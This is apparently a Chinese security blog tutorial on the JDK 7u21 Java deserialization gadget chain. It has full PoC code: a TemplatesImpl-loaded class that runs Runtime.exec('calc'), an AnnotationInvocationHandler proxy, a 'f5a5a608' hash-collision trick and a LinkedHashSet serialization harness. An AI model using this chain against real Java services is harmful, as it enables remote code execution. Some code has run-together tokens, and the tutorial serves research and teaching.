Java 安全 | JDK7u21 原生链

admin 2025年5月1日01:30:55评论8 views字数 15701阅读52分20秒阅读模式

JDK7u21 原生链

告诉大家小技巧: 关注公众号, 回复《JDK》获取JDK全版本下载链接. 并且后续会持续更新链子, 目录倒过来看一眼出思路.

链路分析

切换到 jdk7u21 版本后, 定位到sun.reflect.annotation.AnnotationInvocationHandler类, 该类存在一个equalsImpl方法, 如下:

危险方法

Java 安全 | JDK7u21 原生链

这些代码证明了几样事情:

  • equalsImpl 接收的参数未来将当作方法参数
  • this.type 是一个 Class 原型
  • 会通过遍历 this.type 的所有已定义的方法, 并且通过爆破将这些方法定义为可访问的
  • this.type 不能是代理类, 否则不会调用 invoke 方法, 而是会调用 this.memberValues.get
  • 对于 memberValues, 它是一个 Map, 不能为 null, 否则会中断程序逻辑

那么, 首先定义一个 Bean, 进行测试任意对象.任意方法调用结果:

package com.heihu577.bean;

publicclassUser{
publicvoidsayHello(){
        System.out.println("Hi, My Name Is Heihu577");
    }
}

那么, 使用如下 POC 进行测试:

package com.heihu577;

import com.heihu577.bean.User;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

publicclassMain{
publicstaticvoidmain(String[] args)throws Exception {
        User user = new User();
// 恶意对象
        Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.classMap.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(user.getClass(), new HashMap<>());
// 实例化 AnnotationInvocationHandler
        Method equalsImplMethod = annotationInvocationHandler.getDeclaredMethod("equalsImpl", Object.class);
        equalsImplMethod.setAccessible(true);
        equalsImplMethod.invoke(o, new Object[]{user});
// 调用 equalsImpl 方法
    }
}

最终则会输出结果: Hi, My Name Is Heihu577

抛出异常的情况

但由于是通过getDeclaredMethods进行类扫描的, 并且调用无参方法, 那么假设一个类中存在的方法比较多并参数不一致的情况呢?定义User类如下:

package com.heihu577.bean;

publicclassUser{
publicvoidsayHello2(String name){
        System.out.println("Hi");
    }

publicvoidsayHello(){
        System.out.println("Hi, My Name Is Heihu577");
    }
}

重新运行一下, 会得到如下报错:

Caused by: java.lang.IllegalArgumentException: wrong number of arguments
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:601)
at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
... 5 more

wrong number of arguments, 标准的参数类型不匹配错误, 其核心问题则是扫描到了我们的带参方法.

这个问题应该如何解决?下面我们就直接上TemplatesImpl链路后半段的案例了.

引用 TemplatesImpl

无法正常 RCE 案例

可以调用任意对象.任意方法(), 不难想到TemplatesImpl.getOutputProperties|newTransformer, 那么理所当然的就RCE了.

笔者在此先定义一个Evil恶意类, 方便后续实验:

package com.heihu577.bean;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

publicclassEvilextendscom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
static {
try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
thrownew RuntimeException(e);
        }
    }

@Override
publicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {

    }

@Override
publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {

    }
}

那么使用 TemplatesImpl 进行测试:

package com.heihu577;

import com.heihu577.bean.Evil;
import com.heihu577.bean.User;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

publicclassMain{
publicstaticvoidmain(String[] args)throws Exception {
        Object obj = new User();
        obj = getTemplatesImpl();
        System.out.println(Arrays.toString(obj.getClass().getDeclaredMethods()));
// 恶意对象
        Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.classMap.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(obj.getClass(), new HashMap<>());
// 实例化 AnnotationInvocationHandler
        Method equalsImplMethod = annotationInvocationHandler.getDeclaredMethod("equalsImpl", Object.class);
        equalsImplMethod.setAccessible(true);
        equalsImplMethod.invoke(o, new Object[]{obj});
// 调用 equalsImpl 方法
    }

publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        name.setAccessible(true);
        tfactory.setAccessible(true);
        bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
        myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
        bytecodes.set(templates, myBytes);
        name.set(templates, "");
        tfactory.set(templates, new TransformerFactoryImpl());
return templates;
    }
}

结果会发现如下报错:

Java 安全 | JDK7u21 原生链

这是因为getDeclaredMethods方法第一次扫描到了带参的情况, 并不是我们理想中的getOutputProperties|newTransformer.

正常 RCE 分析

但是我们可以观察TemplatesImpl这个类结构, 发现它实现了Templates接口, 而Templates接口刚好提供了两个带参方法, 关系如下:

Java 安全 | JDK7u21 原生链

所以在这里可以巧妙的运用Templates接口当作AnnotationInvocationHandler构造方法中的type, 这样将会调用Templates.class.getDeclaredFields()进行类扫描, 不是扫描到newTransformer就是扫描到getOutputProperties, 这两个方法都是可以被我们进行利用的. 那么改为如下即可每次正常RCE:

Java 安全 | JDK7u21 原生链

链式调用与模拟执行

那么谁调用了sun.reflect.annotation.AnnotationInvocationHandler::equalsImpl方法呢?实际上在invoke方法中存在调用, 如下:

Java 安全 | JDK7u21 原生链

而因为AnnotationInvocationHandler实现了InvocationHandler接口, 它是一个标准的代理类的实例, 那么我们若想要进行触发equalsImpl方法, 本质上需要调用invoke方法. 并且调用的方法模型为equals(Object). 那么我们 POC 定义如下:

publicclassMain{
publicstaticvoidmain(String[] args)throws Exception {
        Object obj = getTemplatesImpl();
// 恶意对象
        Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.classMap.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandlerDemo = (InvocationHandler) declaredConstructor.newInstance(Templates.classnewHashMap<>());
// 实例化 AnnotationInvocationHandler
        Object o = Proxy.newProxyInstance(Main.class.getClassLoader(), newClass[]{Templates.class}, invocationHandlerDemo);
        o.equals(obj);
// 调用 invoke 方法
    }

publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        name.setAccessible(true);
        tfactory.setAccessible(true);
        bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
        myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
        bytecodes.set(templates, myBytes);
        name.set(templates, "");
        tfactory.set(templates, new TransformerFactoryImpl());
return templates;
    }
}

运行即可弹出计算器, 当然, 现在的问题应该思考, 谁调用了equals(可控).

链路开端 -> readObject

调用 equals 的 Hashtable,HashMap,HashSet

在我们之前研究CC7时, 使用了Hashtable进行调用到了equals方法, 本质是Hashtable在调用readObject时, 会调用Hashtable::put方法, 而最终在put方法中调用了equals方法, 这里做一个简单的说明:

Java 安全 | JDK7u21 原生链

当然除了HashTableHashMap, HashSet都比较类似:

Java 安全 | JDK7u21 原生链

Hash 碰撞问题

以及HashSet:

Java 安全 | JDK7u21 原生链

当然为了方便演示, 这里直接使用HashSet. 而之前在做CC7时会遇到Hash碰撞问题, 当然在这里仍然存在Hash碰撞问题, 只有当两者通过LinkedHashMap::hash方法计算hash值结果相同并对象指针不同时, 才会调用到equals方法中去.

比如: HashSet 中存在这两个值: {对象1,对象2}, 那么假设这两个对象 hash 结果相同但指针不同, 则会调用到 对象2.equals(对象1) 方法中进行计算.

我们可以使用如下运行结果, 判断出当前所需要的场景:

publicstaticvoidmain(String[] args)throws Exception {
    Object obj = getTemplatesImpl();
// 恶意对象
    Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.classMap.class);
    declaredConstructor.setAccessible(true);
    InvocationHandler invocationHandlerDemo = (InvocationHandler) declaredConstructor.
            newInstance(Templates.classnewHashMap<>());
// 准备 AnnotationInvocationHandler 代理对象
    Object proxyObj = Proxy.newProxyInstance(Main.class.getClassLoader(), newClass[]{Map.class}, invocationHandlerDemo);
    HashSet<Object> objects = new HashSet<>();
    objects.add(obj);
    objects.add(proxyObj);
// 想要调用 proxyObj.equals(obj) 方法, 但由于 hashCode 不一致, 所以不可能调用
    System.out.println(proxyObj.hashCode());
    System.out.println(obj.hashCode());
}

publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
    Field name = templates.getClass().getDeclaredField("_name");
    Field tfactory = templates.getClass().getDeclaredField("_tfactory");
    name.setAccessible(true);
    tfactory.setAccessible(true);
    bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
    myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
    bytecodes.set(templates, myBytes);
    name.set(templates, "");
    tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}

最终由于hash值不相同的问题, 无法调用进方法中.

伪造 AnnotationInvocationHandler Hash 值

由于上述案例是因为AnnotationInvocationHandler对象hash值 (目前为0)TemplatesImpl(obj变量) [hash值结果为随机值]是不相同的, 所以无法调用其equals方法, 目前只有两种调用equals方法的方案:

  • 修改 AnnotationInvocationHandler 对象的 hash 值
  • 修改 TemplatesImpl 对象的 hash 值

只要能够修改其一 hash 值与另一个对象的 hash 值相同即可成功伪造.

默认 AnnotationInvocationHandler Hash 值

而我们知道我们想要参与equals比较的是基于AnnotationInvocationHandler的代理对象, 那么调用它的equals方法也就意味着调用到了AnnotationInvocationHandler代理对象实例::invoke方法中, 看一下invoke方法对hash值的计算:

Java 安全 | JDK7u21 原生链

所以我们HashSetAnnotationInvocationHandler对象待比较的代理对象的hash值不考虑其他情况的下值的结果是0.

修改 AnnotationInvocationHandler 对象 Hash 值【可行】

如果想要修改AnnotationInvocationHandler对象hash值, 将其变为可控的, 将其 hashCode 遵循TemplatesImpl的 hash 值.

则需要仔细研究一下hashCodeImpl方法中的for循环逻辑:

Java 安全 | JDK7u21 原生链

假如说我们可以找到一个 String 类型, 并且其 hash 值为 0 的一个 key, 也就是借用String.hashCode方法:

Java 安全 | JDK7u21 原生链

那么也就是0 ^ value的hashCode值的情况, 而 0 ^ 任意值结果都是任意值.

所以这里我们可借助memberValues成员属性, 将其key放入hash值为0的String值, 将value放入TemplatesImpl对象即可.

理想状态为: hash值为0的String值 ^ TemplatesImpl最终结果为TemplatesImpl的hash值.

编写如下代码, 进行查找哪个StringhashCode为0:

for (long i = 0; i < 9999999999999999L; i++) {
    String hexString = Long.toHexString(i); // 数值 i 的 16 进制编码
if (hexString.hashCode() == 0) {
        System.out.println(hexString);
    }
}

最终可跑出f5a5a608, 该字符串的hashCode值为0.

修改 TemplatesImpl 对象的 Hash 值【失败】

那如果不修改AnnotationInvocationHandler的情况下,我们让TemplatesImpl遵循AnnotationInvocationHandler的hash值可不可以呢?

先给出代码案例:

publicclassGoHashCode{
publicstaticvoidmain(String[] args)throws Exception {
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        Method equalsMethod = objectObjectHashMap.getClass().getDeclaredMethod("hash", Object.class);
        equalsMethod.setAccessible(true);
for (long i = 0L; i < 99999999999999999L; i++) {
            String data = String.valueOf(i);
            TemplatesImpl templatesImpl = getTemplatesImpl(data);
            Integer res = (Integer) equalsMethod.invoke(objectObjectHashMap, templatesImpl);
            System.out.println("当前值: " + i + " Hash 值: " + res + " templatesImpl Hash值: " + templatesImpl.hashCode() + " templatesImpl - Hash值: " + (templatesImpl.hashCode() - res));
if (res.equals(0)) {
break;
            }
        }
    }

publicstatic TemplatesImpl getTemplatesImpl(String data)throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        name.setAccessible(true);
        tfactory.setAccessible(true);
        bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
        myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
        bytecodes.set(templates, myBytes);
        name.set(templates, data);
        tfactory.set(templates, new TransformerFactoryImpl());
return templates;
    }
}

通过修改TemplatesImpl中的name字段, 进行无限重复计算Hash值, 当Hash值最终结果为0时, 则与AnnotationInvocationHandler默认值0相同. 想法上是好的, 但是由于最终调用的实际上是Object.hashCode方法进行计算, 这是一个native方法, 其计算结果不被控制.

POC 编写

基于 HashSet 的 POC

publicclassMain{
publicstaticvoidmain(String[] args)throws Exception {
        Object obj = getTemplatesImpl();
        HashMap<Object, Object> hsMap = new HashMap<>(); // 伪造 hashCode 使用
        hsMap.put("f5a5a608""temp");
// 恶意对象
        Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.classMap.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandlerDemo = (InvocationHandler) declaredConstructor.
                newInstance(Templates.classhsMap);
// 准备 AnnotationInvocationHandler 代理对象
        Object proxyObj = Proxy.newProxyInstance(Main.class.getClassLoader(), newClass[]{Map.class}, invocationHandlerDemo);
        HashSet<Object> objects = new HashSet<>();
        objects.add(obj); // TemplatesImpl 对象
        objects.add(proxyObj); // AnnotationInvocationHandler 代理对象
        hsMap.put("f5a5a608", obj);
// 调用 proxyObj.equals(obj) 方法, 但由于 hashCode 不一致, 所以不可能调用
        serialize(objects);
        unserialize();
    }

publicstaticvoidserialize(Object o)throws Exception {
new ObjectOutputStream(new FileOutputStream("./ser.out")).writeObject(o);
    }

publicstaticvoidunserialize()throws Exception {
new ObjectInputStream(new FileInputStream("./ser.out")).readObject();
    }

publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        name.setAccessible(true);
        tfactory.setAccessible(true);
        bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
        myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
        bytecodes.set(templates, myBytes);
        name.set(templates, "");
        tfactory.set(templates, new TransformerFactoryImpl());
return templates;
    }
}

使用该POC即可弹出计算器, 但只是偶然弹出计算器. 为什么会是这种情况呢?

一、不弹窗的情况

Java 安全 | JDK7u21 原生链

二、弹窗的情况

Java 安全 | JDK7u21 原生链

而解决方法则是使用LinkedHashSet, 它继承了HashSet并且是有序的, 最终POC:

publicclassMain{
publicstaticvoidmain(String[] args)throws Exception {
        Object obj = getTemplatesImpl();
        HashMap<Object, Object> hsMap = new HashMap<>(); // 伪造 hashCode 使用
        hsMap.put("f5a5a608""temp");
// 恶意对象
        Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.classMap.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandlerDemo = (InvocationHandler) declaredConstructor.
                newInstance(Templates.classhsMap);
// 准备 AnnotationInvocationHandler 代理对象
        Object proxyObj = Proxy.newProxyInstance(Main.class.getClassLoader(), newClass[]{Map.class}, invocationHandlerDemo);
        LinkedHashSet<Object> objects = new LinkedHashSet<>();
        objects.add(obj); // TemplatesImpl 对象
        objects.add(proxyObj); // AnnotationInvocationHandler 代理对象
        System.out.println(Arrays.toString(objects.toArray()));
        hsMap.put("f5a5a608", obj);
// 调用 proxyObj.equals(obj) 方法, 但由于 hashCode 不一致, 所以不可能调用
        serialize(objects);
        unserialize();
    }

publicstaticvoidserialize(Object o)throws Exception {
new ObjectOutputStream(new FileOutputStream("./ser.out")).writeObject(o);
    }

publicstaticvoidunserialize()throws Exception {
new ObjectInputStream(new FileInputStream("./ser.out")).readObject();
    }

publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        name.setAccessible(true);
        tfactory.setAccessible(true);
        bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
        myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
        bytecodes.set(templates, myBytes);
        name.set(templates, "");
        tfactory.set(templates, new TransformerFactoryImpl());
return templates;
    }
}

Ending...

原文始发于微信公众号(Heihu Share):Java 安全 | JDK7u21 原生链

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月1日01:30:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java 安全 | JDK7u21 原生链http://cn-sec.com/archives/4020530.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息